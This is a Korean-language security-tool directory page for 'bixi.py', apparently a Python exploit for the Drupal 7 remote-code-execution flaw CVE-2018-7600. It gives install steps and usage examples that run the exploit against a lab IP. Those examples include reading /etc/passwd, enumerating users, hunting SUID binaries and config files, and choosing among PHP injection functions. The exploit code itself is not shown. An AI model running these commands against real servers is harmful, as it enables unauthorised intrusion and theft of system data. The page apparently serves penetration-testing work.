Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Drupalgeddon2-CVE-2018-7600 — CVE-2018-7600 (Drupalgeddon 2)용 Python 익스플로잇으로, Drupal 7에서 원격 코드 실행을 가능하게 하며 여러 주입 방법과 Linux 및 Windows용 사전 정의된 명령을 제공합니다. | Kitploit
도구/GitHubGitHub/bixipro/drupalgeddon2-cve-2018-7600
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlLearning & Education
GitHubbixipro/drupalgeddon2-cve-2018-7600

Drupalgeddon2-CVE-2018-7600

CVE-2018-7600 (Drupalgeddon 2)용 Python 익스플로잇으로, Drupal 7에서 원격 코드 실행을 가능하게 하며 여러 주입 방법과 Linux 및 Windows용 사전 정의된 명령을 제공합니다.

저장소 보기
57개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

🔥 Drupalgeddon 2 Exploit — bixi.py

📖 설명

bixi.py는 Drupal 7에 영향을 미치는 취약점 CVE‑2018‑7600 (Drupalgeddon 2) 을 위한 익스플로잇입니다. 직관적인 인터페이스와 사전 정의된 명령어를 통해 취약한 Drupal 서버에서 원격 명령 실행(RCE)을 가능하게 합니다.


⚠️ 면책 조항 / 법적 고지

이 소프트웨어는 교육 목적 및 통제된 환경에서의 연구 목적으로만 사용됩니다.

  • 소유한 시스템이나 서면 허가를 받은 시스템에서만 사용하십시오.
  • 무단 사용은 불법이며 형사 처벌을 받을 수 있습니다.
  • 작성자는 이 도구의 오용에 대해 책임을 지지 않습니다.
  • 항상 현지 및 국제 사이버보안 법률을 준수하십시오.

"큰 힘에는 큰 책임이 따른다"


📋 특징

  • ✅ CVE‑2018‑7600 자동 익스플로잇
  • ✅ Linux 및 Windows용 사전 정의 명령어
  • ✅ 여러 주입 방법 지원 (system, passthru, exec, shell_exec)
  • ✅ 도움말 시스템을 갖춘 직관적인 인터페이스
  • ✅ 강력한 오류 처리 및 타임아웃
  • ✅ 형식화되고 읽기 쉬운 출력

🚀 빠른 설치

1. 저장소 복제

git clone https://github.com/bixiPRO/Drupalgeddon2-CVE-2018-7600.git
cd Drupalgeddon2-CVE-2018-7600

2. 의존성 설치

# Kali / Debian / Ubuntu
sudo apt update
sudo apt install python3 python3-pip -y
pip3 install requests

# 기타 배포판
pip3 install requests

3. 실행 권한 부여

chmod +x bixi.py

🎯 기본 사용법

전체 도움말 보기

python3 bixi.py --help

일반 구문

python3 bixi.py <URL> <COMMAND/KEYWORD> [INJECTION_TYPE]

실제 예제

# 취약점 확인
python3 bixi.py http://10.99.99.6/drupal/ test

# 운영 체제 감지
python3 bixi.py http://10.99.99.6/drupal/ linux
python3 bixi.py http://10.99.99.6/drupal/ windows

# 사용자 열거
python3 bixi.py http://10.99.99.6/drupal/ users_linux
python3 bixi.py http://10.99.99.6/drupal/ net_user

# 시스템 정보
python3 bixi.py http://10.99.99.6/drupal/ ifconfig
python3 bixi.py http://10.99.99.6/drupal/ ipconfig

# 사용자 정의 명령어
python3 bixi.py http://10.99.99.6/drupal/ "cat /etc/passwd"
python3 bixi.py http://10.99.99.6/drupal/ "whoami /all"

📊 사전 정의된 키워드

🐧 Linux

명령어설명
linux시스템 정보
users_linux사용자 나열
id사용자/그룹 정보
ls파일 나열
ifconfig네트워크 정보
find_flag플래그 검색

🪟 Windows

명령어설명
windows시스템 정보
net_user사용자 나열
whoami_win상세 정보
ipconfig네트워크
netstat_win연결 상태
dir디렉터리 나열

🔧 침투 테스트

명령어설명
sudosudo 권한 확인
suidSUID 바이너리 검색
net_localgroup로컬 그룹
drupal_config설정 파일 검색
drupal_versionDrupal 버전 확인

🎨 주입 방법

# system (기본값)
python3 bixi.py http://target/ "whoami" system

# passthru
python3 bixi.py http://target/ "whoami" passthru

# exec
python3 bixi.py http://target/ "whoami" exec

# shell_exec
python3 bixi.py http://target/ "whoami" shell_exec

🏗️ 프로젝트 구조

drupalgeddon2-exploit/
│
├── bixi.py
├── README.md
├── requirements.txt
├── examples/
│   ├── linux_commands.txt
│   └── windows_commands.txt
└── screenshots/
    ├── help_screen.png
    └── exploit_success.png

🔧 고급 설정

프록시 (선택 사항)

proxies = {
    'http': 'http://127.0.0.1:8080',
    'https': 'http://127.0.0.1:8080'
}

타임아웃

기본값(15초) 수정:

timeout=15

새 명령어 추가

get_command_for_keyword() 함수의 commands 딕셔너리 편집


🐛 문제 해결

오류: No module named 'requests'

pip3 install requests

오류: Connection refused

# 연결 확인
ping TARGET_IP

# Drupal 경로 확인
curl http://TARGET_IP/drupal/
도구 다운로드